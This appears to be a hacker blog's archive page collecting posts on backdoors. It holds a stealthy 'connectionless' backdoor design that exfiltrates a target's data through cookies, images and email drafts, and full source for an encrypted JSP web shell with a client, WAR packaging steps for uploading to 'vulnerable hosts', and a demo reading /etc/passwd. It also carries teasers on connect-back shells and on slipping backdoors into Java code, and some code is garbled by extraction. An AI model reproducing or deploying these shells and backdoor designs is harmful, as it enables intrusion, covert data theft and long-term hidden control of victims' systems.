connectionless backdoor idea, doesn’t use tcp/udp

Or for that matter any other kind of direct connection. So basically yeah it’s a backdoor over which you have no realtime control. Realtime is overrated anyways and people are way to attached to direct control of their backdoors. Let’s think about the following scenario for a minute:

You want to steal information, have as much  (and long term) control as possible and avoid anomaly detection on the wire. Preferably avoid locally installed firewalls, possibly without administrator/root privileges.

How would you go about that? I assume most responses to that question will be along the lines of:

  • behave like normal traffic
  • don’t have a direct connection, spawn one when needed
  • use connectionless protocols
  • sniffing the wire

All good and well, but they would still require the backdoor to initiate a connection to the attacker or vice versa. So let’s just choose the most obvious answer to the question: avoid any kind of direct connection to and from the backdoor. So ehhh how would you communicate with your backdoor then? Let’s again choose the obvious and easy answer: have others do the dirty work for you. Just concern yourself(the backdoor) with the really important stuff which is data. So let’s define how our connectionless backdoor should work:

Monitor any file or stream which contains data that the attacker would be able to indirectly manipulate and for which the rights of the backdoor are high enough to read or manipulate.

So practically what does this mean? That as an attacker you must know your target and be able to control his environment somewhat. Here are a few examples for sending data to the backdoor:

  • Create an account on the same forum as your target and  have a dynamic signature which sets and receives cookies.
  • Email him asking a normal question and embed the command in your signature or email text
  • Upload a game to a website the target usually plays games on and have it create

Here are a few example for sending data from the backdoor to the attacker:

  • Edit the cookies to send information back, the browser will handle the connection and firewall for you
  • Embed the data in all pictures on the computer eventually they will get uploaded somewhere
  • Adjust attachments of email in the draft folder
  • Adjust his bookmarks

Well you get the drift, it depends a lot on the privileges the backdoor has and the files it can access. Creativity will be your best buddy when implementing/using this backdoor. Just make sure your continuous file monitoring or wire sniffing doesn’t slow down the whole computer, cause that will surely alert the target.

Of course you can loosen up a bit and only use the connectionless technique to send commands which include a postback url and have the backdoor post it’s results to the given url. This of course brings the firewall problem back into the equation. It would also make the backdoor a lot less stealthy just like the traditional sniffing the wire based backdoors (ex: SniffDoorSilent Backdoortrixd00r).

Like you have probably concluded by now, it isn’t the most efficient backdoor, but it sure would be very stealthy. It makes an excellent candidate to have long term access to a compromised target. Yes the initial planting of this backdoor is it’s weakest point. The detection of the backdoor based on traffic however would be pretty difficult, since it generates none.

Encrypted JSP Shell with signed diffie-hellman key exchange

This is a follow up of my previous JSP Shell post. This JSP shell has the following functionality:

  • Signed Diffie-Hellman key exchange
  • Blowfish Encrypted commands
  • Blowfish Encrypted result

However the way I implemented the crypto part is as far as i know flawed, this because I’ll maybe try to break my own implementation. It’s on my todo list to understand more about cryptographic attacks. To my knowledge the following flaws are present(there are probably more, feel free to point them out in the comments). Thanks to the people of #crypto on freenode for answering my questions and having me realize the flaws listed below:

  • Non-authenticated exchange of encrypted messages
  • The derivation of the Blowfish key from the Diffie-Hellman output isn’t hashed sufficiently

So just to be clear, ONLY the initial key exchange is authenticated using DSA signatures, after which the secret key is established to encrypt the rest of the communication using Blowfish. Let’s take a closer look at the usage and deployment of the shell. If you just want the code, it’s available on my github page. The bin directory contains everything you need for a grab&go usage.

Continue reading “Encrypted JSP Shell with signed diffie-hellman key exchange”

Simple JSP shell, Simple os detection & prolly flawed encrypted commands

So I wanted a JSP shell which would make it a little bit harder to get the executed commands by sniffing the wire, here is a quick and dirty example of such a shell. I might improve it and also encrypt the server response and maybe implement some signed diffie-hellman to agree on the key to use for encryption. For the moment being this works just fine, as said this was a quick hack so dirty code all over the place.


  • Simple OS detection linux/windows, selects the correct underlying shell accordingly
  • Commands shouldn’t break when using pipes and it displays the error stream also(can be inconvenient)
  • Basic (possibly flawed) AES 128bit encryption of the commands you send
  • Option to work without encryption

Here is the JSP part:

Simple JSP shell, Simple os detection & prolly flawed encrypted commands
Borrowed and modified code from the following sources:
<%@page import="java.util.*,*,,,javax.crypto.Cipher,javax.crypto.SecretKey,javax.crypto.SecretKeyFactory,javax.crypto.spec.IvParameterSpec,javax.crypto.spec.PBEKeySpec,javax.crypto.spec.SecretKeySpec"%>
public byte[] hexStringToByteArray(String s) {
 int len = s.length();
 byte[] data = new byte[len / 2];
 for (int i = 0; i < len; i += 2) {
 data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4)
 + Character.digit(s.charAt(i+1), 16));
 return data;

public String cmdDecrypt(String cmd,String iv){
 char[] password = {'t','e','s','t'};
 byte[] salt = {'s','a','l','t','w','e','a','k'};
 SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1");
 KeySpec spec = new PBEKeySpec(password, salt, 1024, 128);
 SecretKey tmp = factory.generateSecret(spec);
 SecretKey secret = new SecretKeySpec(tmp.getEncoded(), "AES");

 Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
 cipher.init(Cipher.DECRYPT_MODE, secret, new IvParameterSpec(hexStringToByteArray(iv)));
 String plaintext = new String(cipher.doFinal(hexStringToByteArray(cmd)));
 return plaintext;
 } catch(Exception e){
 return null;

String temp = request.getParameter("t");
String i = request.getParameter("i");
String ce = request.getParameter("e");
String cmd2exec = new String();
if(ce == null){
 cmd2exec = cmdDecrypt(temp,i);
 if( cmd2exec == null){
 cmd2exec = temp;
 String osName = System.getProperty("" );
 String[] cmd = new String[3];
 if( osName.toLowerCase().contains("windows"))
 cmd[0] = "cmd.exe" ;
 cmd[1] = "/C" ;
 cmd[2] = cmd2exec;
 else if( osName.toLowerCase().contains("linux"))
 cmd[0] = "/bin/bash" ;
 cmd[1] = "-c" ;
 cmd[2] = cmd2exec;
 cmd[0] = cmd2exec;

Runtime rt = Runtime.getRuntime();
 Process proc = rt.exec(cmd);
 InputStreamReader iser = new InputStreamReader(proc.getErrorStream());
 InputStreamReader isir = new InputStreamReader(proc.getInputStream());
 BufferedReader ber = new BufferedReader(iser);
 BufferedReader bir = new BufferedReader(isir);
 String errline=null;
 String inpline=null;

 while ( (inpline = bir.readLine()) != null)

 while ( (errline = ber.readLine()) != null)

 } catch (IOException ioe) {
 int exitVal = proc.waitFor();
 out.println("ExitValue: " + exitVal);
} catch (Exception e) {

The downside however is that you need some kind of client to send the commands to the shell, so here is the client part:


import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.SecretKeySpec;

 * Simple JSP shell, Simple os detection & prolly flawed encrypted commands
 * Author:
 * Borrowed and modified code from the following sources:
public class Main {
 * Turns array of bytes into string
 * @param buf Array of bytes to convert to hex string
 * @return Generated hex string
 public static String asHex(byte buf[]) {
 StringBuffer strbuf = new StringBuffer(buf.length * 2);
 int i;

for (i = 0; i < buf.length; i++) {
 if (((int) buf[i] & 0xff) < 0x10) {

strbuf.append(Long.toString((int) buf[i] & 0xff, 16));

return strbuf.toString();

public static void main(String[] args) {
 URL u;
 InputStream is = null;
 DataInputStream dis;
 String s;
 char[] password = {'t','e','s','t'};
 byte[] salt = {'s','a','l','t','w','e','a','k'};

 SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1");
 KeySpec spec = new PBEKeySpec(password, salt, 1024, 128);
 SecretKey tmp = factory.generateSecret(spec);
 SecretKey secret = new SecretKeySpec(tmp.getEncoded(), "AES");

Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
 cipher.init(Cipher.ENCRYPT_MODE, secret);
 AlgorithmParameters params = cipher.getParameters();
 byte[] iv = params.getParameterSpec(IvParameterSpec.class).getIV();
 System.out.println("pcmd:" + args[1]);
 byte[] ciphertext = cipher.doFinal(args[1].getBytes());
 System.out.println("iv:" + Main.asHex(iv));
 System.out.println("ecmd:" + Main.asHex(ciphertext));

 u = new URL(args[0] + "?t=" + Main.asHex(ciphertext) + "&i=" + Main.asHex(iv));
 is = u.openStream();
 dis = new DataInputStream(new BufferedInputStream(is));
 while ((s = dis.readLine()) != null) {

 }catch(Exception e){


To use the JSP you need to package it inside a WAR file before you can deploy it on a tomcat or jboss for example. Just create the following directory structure(assuming you put the shell inside “index.jsp”):

. js (you can choose another name)
.. index.jsp
… web.xml

Then just put the following bash code in a file and chmod +x it:

rm js.war
jar cvf js.war -C js .

That should create a js.war, in the same directory, that you can use to upload to vulnerable hosts. If you are paying attention you’ll be like “What goes inside the web.xml?”, put the following inside it:

<?xml version=”1.0″ encoding=”ISO-8859-1″?>

That’s all, the war file should deploy correctly and the client should be able to talk to it. If something fails you can always try to talk to it with your browser using unencrypted commands, just append the “e” parameter and assign something to it.

The client can be easily compiled, just put the code inside a file and then go like:


You can then use the client like:

java Main “cat /etc/passwd | grep -i root”

If all works out the output will be similar to this one:

java Main “cat /etc/passwd | grep -i root”
pcmd:cat /etc/passwd | grep -i root

ExitValue: 0

Don’t forget to change default passwords, salts, names and to review the code for possible bugs, if you are planning on using this for your own fun. Read the code if something doesn’t work and improve upon it :)

Abuse legitimate code for backdoor purposes

So once in a while you hear about some backdoor which was slipped into some source code. Mostly in C applications…so I was thinking how would this be done in Java? Most of the times the backdoors you hear about are very nasty and difficult to track down “bugs” in the source code like buffer overflows, race conditions and the likes. Since Java doesn’t really have buffer overflows(I’m ignoring faulty VM implementations for the moment) I was wondering what an other *hopefully* good way would be to introduce bugs you can exploit?

Continue reading “Abuse legitimate code for backdoor purposes”


Some sources from the old KD-Team website. This time it’s a connect back shell which gets activated when a certain keyword is seen in passing traffic. The advantage of this, is that you can activate your shell without raising to much suspicion. One thing though…it’s buggy. I made this back in the day and never bothered to fix some things. AFAIK it works under windows XP SP2 if it doesn’t well…try and fix it. I haven’t tested it since a long while.


Untracable connect back

WoW beeing ill really SUCKS. Happy NEW YEAR. That part is also done. Hmmm what’s left…oh yeah the reason I didn’t write too much on my blog. It’s not because I was ill, it’s just because I was lazy ass hell and my my gf was staying over…so busy busy busy.

Only thing I could not switch of during these ‘holidays’ was my brain. It seems to be twisted since my birth and oh well I learned to live with it. So I had a midnight thought the other day. Nothing to funky nonetheless interesting. It’s all about connect back backdoors. If a connect back backdoor is used you always have the question: To where must it connect back?

Continue reading “Untracable connect back”

Bypassing ip restrictions with a backdoor

This idea popped in my head a while back and is still on my todo list (note: my todo list never shrinks). The following context/problem applies.

Suppose you want to steal information but the server you want to backdoor has got all ports ip restricted on an application level. Like a IIS instance which restricts users based on their ip address. How could this be bypassed without adjusting the IIS configuration or using a complicated rootkit. I thought of the following (note: this can also be implemented in ring0):

Continue reading “Bypassing ip restrictions with a backdoor”